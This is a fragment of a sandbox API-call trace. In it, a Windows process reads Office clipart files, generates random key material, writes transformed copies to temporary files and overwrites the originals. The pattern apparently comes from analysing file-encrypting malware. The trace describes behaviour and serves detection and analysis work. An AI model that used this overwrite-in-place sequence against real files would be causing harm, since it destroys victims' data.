	[0280.765] WriteFile (in: hFile=0x19c, lpBuffer=0xc0002e6000*, nNumberOfBytesToWrite=0x2a6f, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc0002e6000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x2a6f, lpOverlapped=0x0) returned 1
	[0280.767] CloseHandle (hObject=0x19c) returned 1
	[0280.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0280.771] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0280.771] GetFileType (hFile=0x19c) returned 0x1
	[0280.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f5a8ab3a5e9a5713e6198c823dc5e11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f5a8ab3a5e9a5713e6198c823dc5e11"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0280.771] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0280.771] GetFileType (hFile=0x1b0) returned 0x1
	[0280.771] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002f0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f0000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x2a6f, lpOverlapped=0x0) returned 1
	[0280.771] WriteFile (in: hFile=0x19c, lpBuffer=0xc0002f0000*, nNumberOfBytesToWrite=0x2a6f, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0002f0000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x2a6f, lpOverlapped=0x0) returned 1
	[0280.774] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002f0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f0000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0280.774] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f5a8ab3a5e9a5713e6198c823dc5e11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f5a8ab3a5e9a5713e6198c823dc5e11")) returned 0
	[0280.774] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f5a8ab3a5e9a5713e6198c823dc5e11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f5a8ab3a5e9a5713e6198c823dc5e11")) returned 0
	[0280.774] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f5a8ab3a5e9a5713e6198c823dc5e11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f5a8ab3a5e9a5713e6198c823dc5e11")) returned 0x20
	[0280.774] CloseHandle (hObject=0x1b0) returned 1
	[0280.774] CloseHandle (hObject=0x19c) returned 1
	[0280.775] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f5a8ab3a5e9a5713e6198c823dc5e11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f5a8ab3a5e9a5713e6198c823dc5e11")) returned 1
	[0280.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3)) returned 1
	[0280.899] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.899] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.900] SetEvent (hEvent=0x188) returned 1
	[0280.900] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b)) returned 1
	[0280.946] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.946] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.946] SetEvent (hEvent=0xd4) returned 1
	[0280.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6)) returned 1
	[0280.946] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.947] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a)) returned 1
	[0280.947] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.947] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.947] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0280.947] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0280.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0280.948] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5bf4 | out: lpMode=0xc0001e5bf4) returned 0
	[0280.948] GetFileType (hFile=0x120) returned 0x1
	[0280.948] GetFileType (hFile=0x120) returned 0x1
	[0280.948] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001e5c44 | out: lpFileInformation=0xc0001e5c44) returned 1
	[0280.948] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e5c28) returned 1
	[0280.948] ReadFile (in: hFile=0x120, lpBuffer=0xc000316000, nNumberOfBytesToRead=0x15a6, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000316000*, lpNumberOfBytesRead=0xc0001e5b04*=0x13a6, lpOverlapped=0x0) returned 1
	[0281.003] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0281.058] ReadFile (in: hFile=0x120, lpBuffer=0xc0003173a6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003173a6*, lpNumberOfBytesRead=0xc0001e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0281.061] CloseHandle (hObject=0x120) returned 1
	[0281.366] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202880 | out: pbBuffer=0xc000202880) returned 1
	[0281.366] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021b3a0 | out: pbBuffer=0xc00021b3a0) returned 1
	[0281.366] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082e01 | out: pbBuffer=0xc000082e01) returned 1
	[0281.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6c32c789dc9e32374481059e7337a517" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6c32c789dc9e32374481059e7337a517"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0281.367] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5c04 | out: lpMode=0xc0001e5c04) returned 0
	[0281.367] GetFileType (hFile=0x120) returned 0x1
	[0281.367] WriteFile (in: hFile=0x120, lpBuffer=0xc000480000*, nNumberOfBytesToWrite=0x14a6, lpNumberOfBytesWritten=0xc0001e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000480000*, lpNumberOfBytesWritten=0xc0001e5bec*=0x14a6, lpOverlapped=0x0) returned 1
	[0281.372] CloseHandle (hObject=0x120) returned 1
	[0281.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0281.375] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0281.375] GetFileType (hFile=0x120) returned 0x1
	[0281.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6c32c789dc9e32374481059e7337a517" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6c32c789dc9e32374481059e7337a517"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0281.375] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0281.375] GetFileType (hFile=0x1b4) returned 0x1
	[0281.375] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000486000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000486000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x14a6, lpOverlapped=0x0) returned 1
	[0281.375] WriteFile (in: hFile=0x120, lpBuffer=0xc000486000*, nNumberOfBytesToWrite=0x14a6, lpNumberOfBytesWritten=0xc0001e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000486000*, lpNumberOfBytesWritten=0xc0001e5b74*=0x14a6, lpOverlapped=0x0) returned 1
	[0281.376] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000486000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000486000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0281.377] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6c32c789dc9e32374481059e7337a517" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6c32c789dc9e32374481059e7337a517")) returned 0
	[0281.377] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6c32c789dc9e32374481059e7337a517" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6c32c789dc9e32374481059e7337a517")) returned 0
	[0281.377] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6c32c789dc9e32374481059e7337a517" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6c32c789dc9e32374481059e7337a517")) returned 0x20
	[0281.377] CloseHandle (hObject=0x1b4) returned 1
	[0281.377] CloseHandle (hObject=0x120) returned 1
	[0281.378] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6c32c789dc9e32374481059e7337a517" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6c32c789dc9e32374481059e7337a517")) returned 1
	[0281.379] SetEvent (hEvent=0xfc) returned 1
	[0281.379] SetEvent (hEvent=0x190) returned 1
	[0281.379] VirtualFree (lpAddress=0xc006ee8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0281.380] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0281.591] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) 

Thread:
	id = 98
	os_tid = 0xc34

	[0235.787] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070dffe60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070dffe60*=0x184) returned 1
	[0235.787] VirtualQuery (in: lpAddress=0x7070dffe80, lpBuffer=0x7070dffe80, dwLength=0x30 | out: lpBuffer=0x7070dffe80*(BaseAddress=0x7070dff000, AllocationBase=0x7070c00000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0235.787] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x188
	[0235.788] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x18c
	[0235.788] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0236.088] SetEvent (hEvent=0xd4) returned 1
	[0236.088] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0236.109] SetEvent (hEvent=0x17c) returned 1
	[0236.109] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033" (normalized: "c:\\588bce7c90097ed212\\1033"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033" (normalized: "c:\\588bce7c90097ed212\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.143] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.143] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.144] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0x2a809e82, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.144] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.144] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.144] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.144] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.144] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.144] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0)) returned 1
	[0236.198] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.199] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358)) returned 1
	[0236.199] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.199] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0x2a809e82, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xd74)) returned 1
	[0236.200] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.200] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.200] SetEvent (hEvent=0xf0) returned 1
	[0236.200] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035" (normalized: "c:\\588bce7c90097ed212\\1035"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035" (normalized: "c:\\588bce7c90097ed212\\1035"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.200] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.201] VirtualAlloc (lpAddress=0xc000158000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000158000
	[0236.202] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.202] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a7ddf1f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
